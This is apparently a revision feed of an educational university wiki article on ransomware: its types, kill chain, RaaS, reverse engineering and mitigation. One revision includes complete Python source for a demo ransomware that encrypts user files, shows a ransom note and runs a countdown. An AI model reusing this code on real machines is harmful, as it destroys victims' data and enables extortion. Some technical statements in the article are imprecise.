&amp;lt;ref name=&amp;quot;attackchain&amp;quot;&amp;gt; Exabeam. 2022. [https://www.exabeam.com/information-security/ransomwares-weakness-how-to-turn-ransomwares-achilles-heel-into-the-defenders-golden-hour/ Ransomware&#039;s Weakness: How to Turn Ransomware’s Achilles’ Heel Into the Defender’s Golden Hour].&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;ghidra&amp;quot;&amp;gt; Ghidra-sre.org. 2022. [https://ghidra-sre.org Ghidra].&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8813</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8813"/>
		<updated>2021-12-21T13:28:25Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: /* Extortionware */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC or Data, and blocking access to it, in an attempt to extort money. Conventionally the attacker demands that the ransom is paid in a hard to trace digital currency like Monero, Ethereum or Bitcoin.&lt;br /&gt;
Modern day state of the art Ransomwares (which are mostly Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic and Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
** Symmetric&lt;br /&gt;
** Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency. There is no other easy way to decrypt the data than using the decryption key. &amp;lt;br /&amp;gt;&lt;br /&gt;
The main currencies used for paying the ransom are digital cryptocurrencies like Monero, Etherium or Bitcoin, because they are:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
=== Screen-Lockers ===&lt;br /&gt;
&lt;br /&gt;
The main goal of screen-lockers is to restrict access to a victim’s system at the operating system level, meaning that the affected device or system cannot be used. The only thing that is displayed when booting the system, is typically a message demanding a ransom.&lt;br /&gt;
&lt;br /&gt;
=== Extortionware ===&lt;br /&gt;
&lt;br /&gt;
Extortionware is used by attackers to extort money from their victims, by gathering as much information as possible and stealing personal information and data that the victim wants to keep private. The attackers then usually threaten to release it, if the ransom is not paid. Mostly, none of the victim’s data is encrypted and none of their systems is blocked, but they have to pay if they do not want their private information to be leaked.&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Distribution Types Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
==== Malicious Spam Emails ====&lt;br /&gt;
&lt;br /&gt;
In order to gain access and infect a system, the attacker sends a huge amount of malicious spam emails to as many people as possible. Known example are phishing emails which target specific persons or companies. Via social engineering and deception tactics, victims are tricked into downloading malicious files or clicking on malicious links, which if opened infect the victim&#039;s computer.&lt;br /&gt;
&lt;br /&gt;
==== Malicious Advertising ====&lt;br /&gt;
&lt;br /&gt;
Malicious advertising is a method for distribution malicious software by abusing advertisements. If an infected website is visited by a victim, malicious advertisements redirect the browser to another page. This page contains an exploits which infects the victim&#039;s computer. This happens while the victim does not notice any of it.&lt;br /&gt;
&lt;br /&gt;
==== Scareware ==== &lt;br /&gt;
&lt;br /&gt;
Scareware is used to scare victim&#039;s into downloading malicious software. Example would be a pop-up in the victim&#039;s browser telling them that their computer might be infected and they need a specific software to remove the problem. Often real looking banners, logos and names of legitimate antimalware-solution companies are used to lure victims into downloading malicious software.&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Ransomware as a Service (RaaS) ==&lt;br /&gt;
&lt;br /&gt;
Ransomware as a Service is a growing business model on the dark web used by ransomware developers to distribute and sell their malware as service. Anybody, even without much technical knowledge, can execute ransomware attacks by just subscribing to this service. RaaS kits are rather easy to find on the dark web, where they are advertised like a normal product. These services may also offer a dashboard where the attacker has an overview of the progress, or even documentation with a step-by-step guide on how to use the ransomware. There are different types of RaaS revenue models, like a monthly subscription for a flat fee, a one-time license fee or a monthly fee but where a specific percentage of the ransomware profits is going to the RaaS-provider.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;key&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30) #timer for encryption&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to key must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(key)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
* Malwarebytes.com. 2021. [https://www.malwarebytes.com/ransomware What is Ransomware?]&lt;br /&gt;
&lt;br /&gt;
* usa.kaspersky.com. 2021. [https://usa.kaspersky.com/resource-center/definitions/scareware What is Scareware?]&lt;br /&gt;
&lt;br /&gt;
* crowdstrike.com. 2021. [https://www.crowdstrike.com/cybersecurity-101/ransomware/ransomware-as-a-service-raas/ Ransomware as a Service (RaaS) Explained]&lt;br /&gt;
&lt;br /&gt;
* Kost, E., 2021. [https://www.upguard.com/blog/what-is-ransomware-as-a-service What is Ransomware as a Service (RaaS)?]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8810</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8810"/>
		<updated>2021-12-21T13:26:56Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC or Data, and blocking access to it, in an attempt to extort money. Conventionally the attacker demands that the ransom is paid in a hard to trace digital currency like Monero, Ethereum or Bitcoin.&lt;br /&gt;
Modern day state of the art Ransomwares (which are mostly Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic and Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
** Symmetric&lt;br /&gt;
** Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency. There is no other easy way to decrypt the data than using the decryption key. &amp;lt;br /&amp;gt;&lt;br /&gt;
The main currencies used for paying the ransom are digital cryptocurrencies like Monero, Etherium or Bitcoin, because they are:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
=== Screen-Lockers ===&lt;br /&gt;
&lt;br /&gt;
The main goal of screen-lockers is to restrict access to a victim’s system at the operating system level, meaning that the affected device or system cannot be used. The only thing that is displayed when booting the system, is typically a message demanding a ransom.&lt;br /&gt;
&lt;br /&gt;
=== Extortionware ===&lt;br /&gt;
&lt;br /&gt;
Extortionware is used by attackers to extort money from their victims, by to gathering as much information as possible and stealing that personal information and data that the victim wants to keep private. The attackers then can threaten to release it, if the ransom is not paid. Mostly none of the victim’s data is encrypted and none of their systems is blocked, but they have to pay if they do not want their private information to be leaked.&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Distribution Types Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
==== Malicious Spam Emails ====&lt;br /&gt;
&lt;br /&gt;
In order to gain access and infect a system, the attacker sends a huge amount of malicious spam emails to as many people as possible. Known example are phishing emails which target specific persons or companies. Via social engineering and deception tactics, victims are tricked into downloading malicious files or clicking on malicious links, which if opened infect the victim&#039;s computer.&lt;br /&gt;
&lt;br /&gt;
==== Malicious Advertising ====&lt;br /&gt;
&lt;br /&gt;
Malicious advertising is a method for distribution malicious software by abusing advertisements. If an infected website is visited by a victim, malicious advertisements redirect the browser to another page. This page contains an exploits which infects the victim&#039;s computer. This happens while the victim does not notice any of it.&lt;br /&gt;
&lt;br /&gt;
==== Scareware ==== &lt;br /&gt;
&lt;br /&gt;
Scareware is used to scare victim&#039;s into downloading malicious software. Example would be a pop-up in the victim&#039;s browser telling them that their computer might be infected and they need a specific software to remove the problem. Often real looking banners, logos and names of legitimate antimalware-solution companies are used to lure victims into downloading malicious software.&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Ransomware as a Service (RaaS) ==&lt;br /&gt;
&lt;br /&gt;
Ransomware as a Service is a growing business model on the dark web used by ransomware developers to distribute and sell their malware as service. Anybody, even without much technical knowledge, can execute ransomware attacks by just subscribing to this service. RaaS kits are rather easy to find on the dark web, where they are advertised like a normal product. These services may also offer a dashboard where the attacker has an overview of the progress, or even documentation with a step-by-step guide on how to use the ransomware. There are different types of RaaS revenue models, like a monthly subscription for a flat fee, a one-time license fee or a monthly fee but where a specific percentage of the ransomware profits is going to the RaaS-provider.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
